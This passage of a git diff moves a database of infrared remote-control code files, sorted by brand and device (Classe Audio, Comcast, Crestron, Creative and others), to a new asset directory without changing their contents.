b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir similarity index 100% rename from 